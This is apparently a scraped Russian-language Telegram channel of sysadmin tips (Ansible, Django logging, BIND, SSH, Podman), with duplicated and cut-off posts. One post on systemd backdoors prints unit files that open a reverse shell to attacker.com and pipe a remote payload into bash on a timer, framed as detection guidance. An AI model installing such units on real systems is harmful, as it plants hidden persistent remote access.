Проблемы с файловыми системами
При использовании SSD для контейнерных решений важно правильно выбрать файловую систему:
• ext4: Подходит для общего использования, но не всегда эффективна при большом числе операций записи, характерных для контейнеров.
• XFS: Хорошо работает с большими файлами, но страдает при работе с мелкими.
• btrfs: Имеет интересные функции, такие как дедупликация и сжатие, но может тормозить при интенсивной записи.
Docker и тома
По умолчанию Docker использует overlay2 для управления слоями контейнеров.
Также SSD чувствительны к блокировкам метаданных, что еще больше снижает производительность.
Причины потери производительности
⏺ Журналирование: SSD быстрее работают, но если Docker не оптимизирован для этого, это может привести к потере производительности.
⏺ Малые файлы: Контейнеры часто работают с малым количеством данных, что вызывает дополнительные нагрузки на файловую систему.
1️⃣ Выбор файловой системы: Для SSD рекомендуется использовать XFS или btrfs, которые лучше справляются с мелкими файлами и высокой нагрузкой.
2️⃣ Оптимизация Docker: Отключите избыточное журналирование и используйте bind mount для томов.
3️⃣ Настройка SSD: Включите TRIM, чтобы SSD правильно освобождал место и поддерживал свою производительность.
4️⃣ Использование ZFS: Если производительность критична, ZFS будет более эффективен в контейнерных окружениях.
При использовании SSD для контейнерных решений важно правильно выбрать файловую систему:
• ext4: Подходит для общего использования, но не всегда эффективна при большом числе операций записи, характерных для контейнеров.
• XFS: Хорошо работает с большими файлами, но страдает при работе с мелкими.
• btrfs: Имеет интересные функции, такие как дедупликация и сжатие, но может тормозить при интенсивной записи.
Docker и тома
По умолчанию Docker использует overlay2 для управления слоями контейнеров.
Это может привести к дополнительным нагрузкам на SSD, так как каждый слой добавляется поверх предыдущего, увеличивая количество операций записи.
Также SSD чувствительны к блокировкам метаданных, что еще больше снижает производительность.
Причины потери производительности
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19❤2
Как интегрировать и автоматизировать Ansible для настройки сетевых устройств (Cisco, Juniper)
В этом посте мы рассмотрим, как использовать Ansible для настройки сетевых устройств, таких как Cisco и Juniper, с примерами реальных сценариев.
1️⃣ Установка Ansible и необходимых коллекций
Для начала, нужно установить сам Ansible и необходимые коллекции для работы с сетевыми устройствами.
Установка Ansible:
Установка коллекций для Cisco и Juniper:
Эти коллекции содержат модули для управления сетевыми устройствами Cisco IOS и Junos, и их использование существенно облегчает автоматизацию.
2️⃣ Пример настройки устройства Cisco с использованием Ansible
Рассмотрим сценарий, в котором необходимо настроить несколько устройств Cisco, используя Ansible.
Инвентарный файл (например, inventory.ini):
Пример playbook для настройки VLAN на Cisco (например, configure_vlans.yml):
Запуск playbook:
Этот пример создаст VLAN 10 и 20, а затем назначит VLAN 10 на интерфейс GigabitEthernet1/0/1 на устройствах Cisco.
3️⃣ Пример настройки устройства Juniper с использованием Ansible
Теперь рассмотрим пример настройки устройства Juniper.
Инвентарный файл для Juniper (inventory.ini):
Пример playbook для настройки интерфейса на Juniper (например, configure_juniper_interface.yml):
Запуск playbook:
Этот playbook настраивает интерфейс ge-0/0/0 с IP-адресом
Ansible — это мощный инструмент для автоматизации конфигурации серверов и сетевых устройств.
В этом посте мы рассмотрим, как использовать Ansible для настройки сетевых устройств, таких как Cisco и Juniper, с примерами реальных сценариев.
Для начала, нужно установить сам Ansible и необходимые коллекции для работы с сетевыми устройствами.
Установка Ansible:
sudo apt update
sudo apt install ansible
Установка коллекций для Cisco и Juniper:
ansible-galaxy collection install cisco.ios
ansible-galaxy collection install juniper.junos
Эти коллекции содержат модули для управления сетевыми устройствами Cisco IOS и Junos, и их использование существенно облегчает автоматизацию.
Рассмотрим сценарий, в котором необходимо настроить несколько устройств Cisco, используя Ansible.
Инвентарный файл (например, inventory.ini):
[cisco_switches]
192.168.1.10
192.168.1.11
[cisco_switches:vars]
ansible_network_os=cisco.ios.ios
ansible_user=admin
ansible_password=your_password
ansible_connection=network_cli
ansible_become=yes
ansible_become_method=enable
Пример playbook для настройки VLAN на Cisco (например, configure_vlans.yml):
- name: Configure VLANs on Cisco Switches
hosts: cisco_switches
gather_facts: no
tasks:
- name: Create VLAN 10
cisco.ios.ios_vlan:
vlan_id: 10
name: "Sales"
state: present
- name: Create VLAN 20
cisco.ios.ios_vlan:
vlan_id: 20
name: "Marketing"
state: present
- name: Assign VLAN 10 to interface GigabitEthernet1/0/1
cisco.ios.ios_interface:
name: GigabitEthernet1/0/1
vlan: 10
state: up
Запуск playbook:
ansible-playbook -i inventory.ini configure_vlans.yml
Этот пример создаст VLAN 10 и 20, а затем назначит VLAN 10 на интерфейс GigabitEthernet1/0/1 на устройствах Cisco.
Теперь рассмотрим пример настройки устройства Juniper.
Инвентарный файл для Juniper (inventory.ini):
[juniper_routers]
192.168.1.20
[juniper_routers:vars]
ansible_network_os=juniper.junos.junos
ansible_user=admin
ansible_password=your_password
ansible_connection=network_cli
Пример playbook для настройки интерфейса на Juniper (например, configure_juniper_interface.yml):
- name: Configure Interface on Juniper Router
hosts: juniper_routers
gather_facts: no
tasks:
- name: Configure interface ge-0/0/0
juniper.junos.junos_interface:
name: ge-0/0/0
unit: 0
family_inet_address: 192.168.2.1/24
state: present
Запуск playbook:
ansible-playbook -i inventory.ini configure_juniper_interface.yml
Этот playbook настраивает интерфейс ge-0/0/0 с IP-адресом
192.168.2.1/24
на устройстве Juniper.Please open Telegram to view this post
VIEW IN TELEGRAM
👍17🔥3❤1
Fedora Linux 42 теперь официально в WSL
Microsoft добавила Fedora Linux 42 в список официально поддерживаемых дистрибутивов WSL (Windows Subsystem for Linux).
Если вы на Windows 11 с WSL2 — достаточно одной команды:
Запуск:
Fedora 42 можно использовать как полноценную рабочую среду: внутри — GNOME 48, KDE Plasma 6.3, ядро 6.14, GCC 15, PHP 8.4, Ruby 3.4, Ansible 11 и многое другое. Работает на x86_64, ARM64 и даже Power64.
Microsoft уже добавила GUI-интерфейс для управления дистрибутивами в WSL и продолжает развивать поддержку графических приложений прямо внутри Fedora.
Microsoft добавила Fedora Linux 42 в список официально поддерживаемых дистрибутивов WSL (Windows Subsystem for Linux).
Если вы на Windows 11 с WSL2 — достаточно одной команды:
wsl --install FedoraLinux-42
Запуск:
wsl -d FedoraLinux-42
Fedora 42 можно использовать как полноценную рабочую среду: внутри — GNOME 48, KDE Plasma 6.3, ядро 6.14, GCC 15, PHP 8.4, Ruby 3.4, Ansible 11 и многое другое. Работает на x86_64, ARM64 и даже Power64.
Microsoft уже добавила GUI-интерфейс для управления дистрибутивами в WSL и продолжает развивать поддержку графических приложений прямо внутри Fedora.
Теперь можно обойтись без двойной загрузки или VM — всё внутри Windows.
❤9🔥4👍2
Backdoor в systemd: нестандартные юниты и что туда могут спрятать
В продакшене всё чаще встречаются случаи, когда вредонос не сидит в /etc/rc.local, crontab или .bashrc, а встраивается прямо в systemd. Причём аккуратно, с видом “службы мониторинга” или “агента безопасности”.
1. Маскировка reverse shell под systemd-сервис
Простой пример unit-файла, запускающего обратную оболочку:
Такой юнит можно сохранить в /etc/systemd/system/sys-health.service и активировать через systemctl enable --now sys-health.service. На глаз — просто очередная служба.
2. Распределённый запуск через таймер
Юниты можно запускать не постоянно, а по расписанию, как cron:
Такой таймер будет запускать бекдор раз в 6 часов — и его легко упустить, особенно если не смотрите systemctl list-timers.
3. Примеры более изощрённого поведения
Некоторые вредоносы:
• подсовывают юниты в ~/.config/systemd/user/, чтобы не требовать root-доступа;
• используют бинарники с нейтральными названиями (/usr/local/bin/kworker или /opt/metricsd);
• пишут логи в /dev/null или ExecStartPre=/bin/sleep 60, чтобы избежать подозрений по таймингу.
4. Как искать такие юниты
⏺ systemctl list-units --type=service --all — ищем странные описания и пути к исполняемым файлам.
⏺ systemctl cat <unit> — посмотреть полный юнит.
⏺ find /etc/systemd/ /lib/systemd/ ~/.config/systemd/ -name "*.service" — ручной обход.
⏺ Проверка таймеров: systemctl list-timers --all.
В продакшене всё чаще встречаются случаи, когда вредонос не сидит в /etc/rc.local, crontab или .bashrc, а встраивается прямо в systemd. Причём аккуратно, с видом “службы мониторинга” или “агента безопасности”.
Разбираем, как через systemd можно спрятать обратную оболочку или исполнять вредоносный код по расписанию — и как это обнаружить.
1. Маскировка reverse shell под systemd-сервис
Простой пример unit-файла, запускающего обратную оболочку:
[Unit]
Description=System Health Monitor
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
Такой юнит можно сохранить в /etc/systemd/system/sys-health.service и активировать через systemctl enable --now sys-health.service. На глаз — просто очередная служба.
2. Распределённый запуск через таймер
Юниты можно запускать не постоянно, а по расписанию, как cron:
# /etc/systemd/system/collect.timer
[Unit]
Description=Collect stats timer
[Timer]
OnBootSec=5min
OnUnitActiveSec=6h
Unit=collect.service
[Install]
WantedBy=timers.target
# /etc/systemd/system/collect.service
[Unit]
Description=Run data collector
[Service]
ExecStart=/usr/bin/curl -s https://attacker.com/payload.sh | bash
Такой таймер будет запускать бекдор раз в 6 часов — и его легко упустить, особенно если не смотрите systemctl list-timers.
3. Примеры более изощрённого поведения
Некоторые вредоносы:
• подсовывают юниты в ~/.config/systemd/user/, чтобы не требовать root-доступа;
• используют бинарники с нейтральными названиями (/usr/local/bin/kworker или /opt/metricsd);
• пишут логи в /dev/null или ExecStartPre=/bin/sleep 60, чтобы избежать подозрений по таймингу.
4. Как искать такие юниты
Please open Telegram to view this post
VIEW IN TELEGRAM
👍25❤1
Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.
Основные компоненты:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10❤2
Ведение журналов в Django: как отлаживать проект, не лезя в консоль
Единственный совершенный код — это код, который так и не написали. А если вы его всё-таки написали — будьте готовы отлаживать.
Django уже поставляется с поддержкой логирования через стандартный модуль logging, и настроить его можно за 5 минут. Главное — понимать, что и зачем вы пишете в логи.
Что такое логирование в Python?
Это механизм для записи сообщений об ошибках, предупреждениях, событиях и внутренних действиях системы. Он позволяет:
• понимать, что пошло не так и где это произошло;
• воспроизводить баги;
• видеть поведение фоновых задач, сигналов, миграций, API-запросов.
4 ключевых компонента системы логов Django:
1️⃣ Logger — точка входа. Вызываете logger.warning("Что-то пошло не так").
2️⃣ Handler — указывает, куда писать: в файл, на консоль, в e-mail.
3️⃣ Filter — фильтрует сообщения по условиям: уровень, модуль, пользователь.
4️⃣ Formatter — форматирует вывод: добавляет timestamp, уровень, текст и т.п.
Пример настройки логов в settings.py:
Этот код отправляет все WARNING и выше в warning.log.
Хочется видеть критические ошибки на почте? Добавьте AdminEmailHandler.
Хотите писать SQL-запросы в лог? Подключите django.db.backends.
Где это реально помогает:
⏺ debug фоновых задач Celery, которые отвалились без трейсбека;
⏺ отладка middleware и ранних исключений;
⏺ логирование пользовательских действий, если нет Sentry;
⏺ поиск редких ошибок в проде, которые не воспроизводятся на локалке.
Единственный совершенный код — это код, который так и не написали. А если вы его всё-таки написали — будьте готовы отлаживать.
Чтобы не разбираться с ошибками “на глаз”, используйте логирование: это ваша чёрная коробка, в которую пишет всё, что происходит в приложении.
Django уже поставляется с поддержкой логирования через стандартный модуль logging, и настроить его можно за 5 минут. Главное — понимать, что и зачем вы пишете в логи.
Что такое логирование в Python?
Это механизм для записи сообщений об ошибках, предупреждениях, событиях и внутренних действиях системы. Он позволяет:
• понимать, что пошло не так и где это произошло;
• воспроизводить баги;
• видеть поведение фоновых задач, сигналов, миграций, API-запросов.
4 ключевых компонента системы логов Django:
Пример настройки логов в settings.py:
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'file': {
'level': 'WARNING',
'class': 'logging.FileHandler',
'filename': BASE_DIR / 'warning.log',
},
},
'loggers': {
'': {
'handlers': ['file'],
'level': 'WARNING',
'propagate': True,
},
},
}
Этот код отправляет все WARNING и выше в warning.log.
Хочется видеть критические ошибки на почте? Добавьте AdminEmailHandler.
Хотите писать SQL-запросы в лог? Подключите django.db.backends.
Где это реально помогает:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥2
Релиз OpenSearch 3.0: что нового?
OpenSearch 3.0 — свежий релиз проекта от OpenSearch Software Foundation под крылом Linux Foundation. Это форк Elasticsearch и Kibana, созданный в 2021 году после перехода Elastic на несвободную лицензию.
Проект активно развивают Amazon, SAP, Uber, Canonical и другие, а код распространяется под Apache 2.0.
Что нового в 3.0:
⏺ Векторный движок с поддержкой GPU: ускорение поиска и интеграция с LLM (LangChain, OpenAI и др.).
⏺ Оптимизация хранения векторов: до 30 раз быстрее холодный старт, меньше места.
⏺ Поддержка gRPC: передача данных быстрее и с меньшими накладными расходами.
⏺ Подключение потоков: прямой pull из Kafka и Kinesis.
⏺ Разделение трафика: чтение и запись теперь можно разнести.
⏺ PPL и Calcite: расширенные SQL-возможности.
⏺ Автоопределение типов индексов: улучшено логирование.
⏺ Lucene 10 и Java 21: новая производительность, модульность, параллелизм, +25–75% в скорости на тестах.
Проект остаётся опенсорсной альтернативой Elasticsearch с фокусом на расширяемость и интеграции с ML/AI.
OpenSearch 3.0 — свежий релиз проекта от OpenSearch Software Foundation под крылом Linux Foundation. Это форк Elasticsearch и Kibana, созданный в 2021 году после перехода Elastic на несвободную лицензию.
Проект активно развивают Amazon, SAP, Uber, Canonical и другие, а код распространяется под Apache 2.0.
Что нового в 3.0:
Проект остаётся опенсорсной альтернативой Elasticsearch с фокусом на расширяемость и интеграции с ML/AI.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥1
Пишем журналы в Django.
Часть 2
Вы настроили ведение логов в Django и теперь хотите увидеть, как это работает в действии?
Когда пользователь заходит на главную, мы выводим «Hello FreeCodeCamp.org Reader :)», а в лог warning.log записываем, что кто-то заходил на страницу и когда именно.
1️⃣ Создаём проект и виртуальное окружение
2️⃣ Устанавливаем Django
3️⃣ Создаём проект и приложение
4️⃣ Добавляем приложение в INSTALLED_APPS
Откройте settings.py и добавьте 'logging_example', в список приложений:
5️⃣ Добавляем конфигурацию логирования в settings.py
(Если ещё не добавляли)
Создайте папку logs:
6️⃣ Пишем код логирования
views.py в приложении logging_example:
7️⃣ Настраиваем маршруты
В urls.py основного проекта:
8️⃣ Запуск и тестирование
Запустите сервер разработки:
Откройте в браузере
Часть 2
Вы настроили ведение логов в Django и теперь хотите увидеть, как это работает в действии?
Давайте добавим простую домашнюю страницу и настроим журналирование каждого её посещения.
Когда пользователь заходит на главную, мы выводим «Hello FreeCodeCamp.org Reader :)», а в лог warning.log записываем, что кто-то заходил на страницу и когда именно.
mkdir django-logging-tutorial
cd django-logging-tutorial
python3 -m venv venv
source venv/bin/activate
pip install django
django-admin startproject django_logging_tutorial .
python manage.py startapp logging_example
Откройте settings.py и добавьте 'logging_example', в список приложений:
INSTALLED_APPS = [
...
'logging_example',
]
(Если ещё не добавляли)
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'file': {
'level': 'WARNING',
'class': 'logging.FileHandler',
'filename': 'logs/warning.log',
},
},
'loggers': {
'django': {
'handlers': ['file'],
'level': 'WARNING',
'propagate': True,
},
},
}
Создайте папку logs:
mkdir logs
views.py в приложении logging_example:
from django.http import HttpResponse
import datetime
import logging
logger = logging.getLogger(__name__)
def hello_reader(request):
logger.warning('Homepage was accessed at ' + str(datetime.datetime.now()) + ' hours!')
return HttpResponse("<h1>Hello FreeCodeCamp.org Reader :)</h1>")
В urls.py основного проекта:
from django.contrib import admin
from django.urls import path
from logging_example import views
urlpatterns = [
path('admin/', admin.site.urls),
path('', views.hello_reader, name="hello_reader")
]
Запустите сервер разработки:
python manage.py runserver
Откройте в браузере
https://127.0.0.1:8000/
и несколько раз обновите страницу. Затем проверьте файл logs/warning.log. Там появится что-то вроде:Homepage was accessed at 2025-05-07 22:38:29.922510 hours!
Homepage was accessed at 2025-05-07 22:48:35.088296 hours!
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤1
Что делает ip link set eth0 mtu 1400?
Anonymous Quiz
8%
Устанавливает лимит на количество подключений
13%
Изменяет размер TCP-окон
77%
Устанавливает максимальный размер кадра для интерфейса
1%
Включает режим jumbo frames
👍9❤1
Пинг без ICMP: как проверить доступность, если всё закрыто
Когда вы работаете с инфраструктурой, где ICMP-запросы блокируются (например, корпоративные фаерволы, жесткие политики безопасности или хостинг-провайдеры), привычный ping перестаёт быть полезным.
Но проверка доступности хоста или сервиса по-прежнему нужна. Что делать?
Альтернативы ICMP-пингу:
1️⃣ TCP ping через nmap, nc или telnet — подключаемся к порту:
или
2️⃣ curl или wget — если работает HTTP(S), можно проверить ответ сервиса:
3️⃣ hping3 — мощный инструмент для TCP/UDP/ICMP-проверок с возможностью задать порты и заголовки вручную:
4️⃣ fping — массовый ping, умеет работать и без ICMP при нужных флагах.
5️⃣ PowerShell (для Windows-серверов):
Когда вы работаете с инфраструктурой, где ICMP-запросы блокируются (например, корпоративные фаерволы, жесткие политики безопасности или хостинг-провайдеры), привычный ping перестаёт быть полезным.
Но проверка доступности хоста или сервиса по-прежнему нужна. Что делать?
Альтернативы ICMP-пингу:
nc -zv 192.168.0.1 22
или
nmap -p 80 192.168.0.1
curl -Is https://example.com | head -n 1
hping3 -S -p 80 example.com
Test-NetConnection -ComputerName example.com -Port 443
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21👎3🔥3
Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.
Применение eBPF:
— Сетевой фильтр: ускоряет обработку пакетов, применяется в XDP и Cilium.
— Мониторинг и трассировка: инструменты вроде BCC и bpftrace используют eBPF для анализа работы ядра в реальном времени.
— Безопасность: используется в системе защиты, такой как Falco, для обнаружения аномалий.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14👎1
Ускоряем SSH: как избавиться от задержки в 3 секунды
Вы заходите на сервер по SSH, и перед тем как появится приглашение ввести пароль — пауза. Иногда целых 2–5 секунд. Почему так?
Виновник — GSSAPIAuthentication.
SSH по умолчанию пытается авторизоваться через Kerberos (GSSAPI), даже если вы им не пользуетесь.
Как решить:
1️⃣ Отключите на клиенте (вашем компьютере):
Откройте или создайте файл ~/.ssh/config и добавьте:
2️⃣ Хотите на сервере — можно и так:
Файл /etc/ssh/sshd_config, найдите строку:
и замените на:
После чего:
Вы заходите на сервер по SSH, и перед тем как появится приглашение ввести пароль — пауза. Иногда целых 2–5 секунд. Почему так?
Виновник — GSSAPIAuthentication.
SSH по умолчанию пытается авторизоваться через Kerberos (GSSAPI), даже если вы им не пользуетесь.
Это особенно заметно, если DNS или обратное имя хоста не настроены идеально. В итоге клиент ждёт ответа, которого не будет.
Как решить:
Откройте или создайте файл ~/.ssh/config и добавьте:
Host *
GSSAPIAuthentication no
Файл /etc/ssh/sshd_config, найдите строку:
GSSAPIAuthentication yes
и замените на:
GSSAPIAuthentication no
После чего:
sudo systemctl restart sshd
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21🔥6❤2
Почему df -h показывает свободное место, а на диске его нет?
Частая причина — удалённый, но всё ещё используемый файл.
Когда вы удаляете файл (rm), но он всё ещё занят каким-либо процессом, то физически он остаётся на диске. df уже не учитывает его, а вот диск продолжает быть занят.
Как найти такие файлы:
Ищем строчки вроде:
Что делать:
Завершить процесс:
Или мягко:
Для логов — использовать logrotate с опцией copytruncate, чтобы не было подвешенных файлов.
Если виноват Docker, то:
Дополнительно проверьте:
Если заняты не блоки, а inode-ы:
Проверьте, где скапливаются файлы:
Ситуация: сервер начал падать, сервисы жалуются на “No space left on device”, но вы запускаете df -h — и вроде бы всё в порядке. Где же место?
Частая причина — удалённый, но всё ещё используемый файл.
Когда вы удаляете файл (rm), но он всё ещё занят каким-либо процессом, то физически он остаётся на диске. df уже не учитывает его, а вот диск продолжает быть занят.
Как найти такие файлы:
lsof | grep deleted
Ищем строчки вроде:
nginx 1234 www-data 4w REG 8,1 2G 1234567 /var/log/nginx/access.log (deleted)
Что делать:
Завершить процесс:
kill -9 <PID>
Или мягко:
systemctl restart nginx
Для логов — использовать logrotate с опцией copytruncate, чтобы не было подвешенных файлов.
Если виноват Docker, то:
docker system prune -af
Дополнительно проверьте:
Если заняты не блоки, а inode-ы:
df -i
Проверьте, где скапливаются файлы:
du -shx /* 2>/dev/null | sort -h
👍36
Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.
Ключевые отличия:
— Без демона: Podman не использует фоновый процесс, каждый контейнер — это обычный процесс в системе.
— Rootless режим: Контейнеры могут запускаться от обычного пользователя.
— Совместимость: Поддерживает Dockerfile и команды docker run, docker build и т.д.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14🔥3
Неравнодушен к серверным и сетевым технологиям? Приходи на Selectel Infra MeetUp!
Selectel проводит мероприятие для инженеров дата-центров. Приходите, чтобы узнать о развитии технологий и оборудования в ЦОДах и получить советы по карьерному развитию.
📍23 мая, Москва (оффлайн и онлайн)
В программе:
— хардкорные лекции и практические воркшопы,
— карьерные консультации от экспертов,
— афтепати с розыгрышами призов и нетворкингом.
Посмотреть подробную программу и зарегистрироваться: https://slc.tl/a77gh
Чтобы не пропустить митап и узнавать о других мероприятиях, воркшопах и бесплатных курсах Selectel, подписывайтесь на @selectel_events
Реклама. АО «Селектел», ИНН 7810962785, ERID: 2VtzqwnoL2g
Selectel проводит мероприятие для инженеров дата-центров. Приходите, чтобы узнать о развитии технологий и оборудования в ЦОДах и получить советы по карьерному развитию.
📍23 мая, Москва (оффлайн и онлайн)
В программе:
— хардкорные лекции и практические воркшопы,
— карьерные консультации от экспертов,
— афтепати с розыгрышами призов и нетворкингом.
Посмотреть подробную программу и зарегистрироваться: https://slc.tl/a77gh
Чтобы не пропустить митап и узнавать о других мероприятиях, воркшопах и бесплатных курсах Selectel, подписывайтесь на @selectel_events
Реклама. АО «Селектел», ИНН 7810962785, ERID: 2VtzqwnoL2g
👍3❤1
Как быстро найти, кто грузит CPU: команды mpstat и pidstat
1️⃣ Посмотреть загрузку всех ядер
• -P ALL — все ядра
• 1 5 — обновлять каждые 1 секунду, всего 5 раз
Что смотрим?
%usr — % загрузка CPU пользовательскими процессами
%sys — % загрузка системными процессами (ядро)
%idle — % простоя (чем больше, тем лучше!)
Если %idle близок к 0 — CPU сильно загружен.
2️⃣ Найти самые «жирные» процессы по CPU
Вывод покажет процессы и их %CPU каждую секунду.
3️⃣ Быстрая сортировка процессов по загрузке CPU
Показывает 10 самых «тяжелых» по CPU процессов.
4️⃣ Если нужно — снизить приоритет процесса
Чем выше число, тем ниже приоритет.
И мониторинг в реальном времени
top отсортирует процессы по CPU. Чтобы выйти — нажмите q.
mpstat -P ALL 1 5
• -P ALL — все ядра
• 1 5 — обновлять каждые 1 секунду, всего 5 раз
Что смотрим?
%usr — % загрузка CPU пользовательскими процессами
%sys — % загрузка системными процессами (ядро)
%idle — % простоя (чем больше, тем лучше!)
Если %idle близок к 0 — CPU сильно загружен.
pidstat 1 5
Вывод покажет процессы и их %CPU каждую секунду.
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head -10
Показывает 10 самых «тяжелых» по CPU процессов.
renice +10 <PID>
Чем выше число, тем ниже приоритет.
И мониторинг в реальном времени
top -o %CPU
top отсортирует процессы по CPU. Чтобы выйти — нажмите q.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18❤3
Вышел Podman 5.5.0
Это инструмент для управления контейнерами, образами и томами на Linux, macOS и Windows (через Podman VM). Код написан на Go и Shell, лицензия Apache 2.0.
Релизы выходят четыре раза в год. В версии 5.5.0 исправлены баги и добавлены новые команды:
⏺ podman machine cp — копирование файлов в Podman VM
⏺ podman artifact extract — копирование содержимого OCI-артефактов на диск
⏺ опция ‑mount=artifact для монтирования OCI-артефактов в контейнеры
Требуется минимум Go 1.23 для сборки. Обновлены ключевые модули: Buildah 1.40.0, containers/common 0.63.0 и другие.
Это инструмент для управления контейнерами, образами и томами на Linux, macOS и Windows (через Podman VM). Код написан на Go и Shell, лицензия Apache 2.0.
Релизы выходят четыре раза в год. В версии 5.5.0 исправлены баги и добавлены новые команды:
Требуется минимум Go 1.23 для сборки. Обновлены ключевые модули: Buildah 1.40.0, containers/common 0.63.0 и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9
Быстрая диагностика и устранение проблем с BIND (named)
BIND — один из самых распространённых DNS-серверов в Linux-средах. Он отвечает за трансляцию имён в IP и обратно, поддерживает зону прямого и обратного разрешения, DNSSEC и многое другое.
1️⃣ Проверяем статус сервиса
Если сервис не запущен — запустите его:
Если он падает — смотрим логи.
2️⃣ Логи BIND — первое место для поиска проблем
В зависимости от дистрибутива логи могут быть в /var/log/messages, /var/log/syslog или /var/log/named/named.log.
Чтобы быстро смотреть последние ошибки:
или
Обращайте внимание на ошибки синтаксиса, проблемы с зонами, отказ в доступе.
3️⃣ Проверка конфигурации BIND
Перед перезапуском всегда проверяйте конфигурацию:
Если команда не выводит ошибок — конфиг валидный.
4️⃣ Проверка файлов зон
Ошибки в зонах — частая причина проблем.
Проверяем файл зоны (например, zonefile.db):
Если есть ошибки — будут показаны с подробностями.
5️⃣ Тестируем DNS-запросы локально
Если ответ корректный — BIND работает локально.
6️⃣ Проверяем права и доступ к файлам
BIND должен иметь права читать зоны и конфиги:
Если проблемы с правами — исправьте:
7️⃣ Перезапуск BIND с выводом ошибок
Если сервис упал — посмотрите последние ошибки в журнале.
8️⃣ Обновление записей зоны без перезапуска — динамическое обновление
Если настроено, используйте:
Команда перезагрузит конкретную зону без остановки сервиса.
9️⃣ Диагностика проблем с сетевым доступом к BIND
Проверяем, слушает ли BIND на нужных интерфейсах:
Проверяем firewall:
Убедитесь, что порт 53 открыт для TCP и UDP.
BIND — один из самых распространённых DNS-серверов в Linux-средах. Он отвечает за трансляцию имён в IP и обратно, поддерживает зону прямого и обратного разрешения, DNSSEC и многое другое.
systemctl status named
Если сервис не запущен — запустите его:
systemctl start named
Если он падает — смотрим логи.
В зависимости от дистрибутива логи могут быть в /var/log/messages, /var/log/syslog или /var/log/named/named.log.
Чтобы быстро смотреть последние ошибки:
journalctl -u named -f
или
tail -f /var/log/named/named.log
Обращайте внимание на ошибки синтаксиса, проблемы с зонами, отказ в доступе.
Перед перезапуском всегда проверяйте конфигурацию:
named-checkconf
Если команда не выводит ошибок — конфиг валидный.
Ошибки в зонах — частая причина проблем.
Проверяем файл зоны (например, zonefile.db):
named-checkzone example.com /etc/bind/zones/example.com.db
Если есть ошибки — будут показаны с подробностями.
dig @localhost example.com
Если ответ корректный — BIND работает локально.
BIND должен иметь права читать зоны и конфиги:
ls -l /etc/bind/zones/
Если проблемы с правами — исправьте:
chown -R bind:bind /etc/bind/zones/
chmod 640 /etc/bind/zones/*.db
systemctl restart named
journalctl -xe -u named
Если сервис упал — посмотрите последние ошибки в журнале.
Если настроено, используйте:
rndc reload example.com
Команда перезагрузит конкретную зону без остановки сервиса.
Проверяем, слушает ли BIND на нужных интерфейсах:
ss -tulnp | grep named
Проверяем firewall:
iptables -L -n | grep 53
Убедитесь, что порт 53 открыт для TCP и UDP.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🔥1
Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.
В системах с NUMA важно оптимизировать размещение процессов и потоков, чтобы они максимально использовали локальную память, снижая задержки и увеличивая производительность. Для этого применяются настройки CPU и памяти, а также специальные инструменты, например numactl, позволяющие управлять привязкой процессов к узлам NUMA.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔9🔥3😁1